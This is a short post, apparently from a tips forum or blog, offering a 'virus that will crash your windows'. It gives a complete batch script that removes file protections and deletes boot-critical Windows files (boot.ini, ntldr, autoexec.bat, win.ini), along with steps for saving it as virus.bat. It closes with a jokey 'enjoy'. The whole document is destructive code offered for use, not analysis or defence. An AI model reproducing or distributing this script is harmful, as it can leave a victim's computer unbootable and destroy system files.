virus that will crash your windows

1.open notepad and copy this code



@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

and paste it save notepad file to virus.bat

caution: do not run or double click on this file it will crash your system enjoy  :-)